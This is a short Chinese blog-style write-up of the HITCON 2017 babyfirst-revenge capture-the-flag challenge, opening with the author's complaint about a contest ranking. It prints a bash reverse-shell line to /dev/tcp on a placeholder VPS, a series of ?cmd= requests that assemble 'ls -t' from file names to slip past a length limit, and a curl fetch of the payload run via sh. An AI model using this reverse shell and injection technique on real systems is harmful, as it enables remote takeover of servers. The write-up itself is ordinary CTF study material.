HITCON 2017 babyfirst-revenge（命令执行绕过四）

中午睡了一觉，醒来两点多了，发现几个群里又有人在黑我这个萌新菜比了.....然后用两个多小时ak了iscc放的题，这让我忍不住再次喷一波iscc...老子都ak了排名还5、60名...就因为昨天写红帽杯要交的wp没打....我真tm无语...算了算了不喷了。

开始今天的修炼！

在远程放好如下内容：

bash -c "bash -i >& /dev/tcp/vpsip/vpsport 0<&1 2>&1"

即可getshell。

开始操作！

写入 ls -t>g指令到_文件

?cmd=>ls\\    #创建ls\
?cmd=ls>_    #创建 _ 文件 文件内容为_ \n ls\ \n
?cmd=>\ \\    #创建 \空格 文件
?cmd=>-t\\    #创建 -t\ 文件
?cmd=>\>g    #创建 >g 文件
?cmd=ls>>_   #将刚刚创建的文件名按照字典序写入_文件 这里的字典序是特殊符号在ls\的前面 所以在生成ls\之后我们要先ls>_ 保证ls\在最前面

sh _间接执行 ls -t>s

//curl yourvps:port>a

一样的思路写进文件，然后sh执行。

 

弹shell。

这是第一种解法。

嗯，先睡了。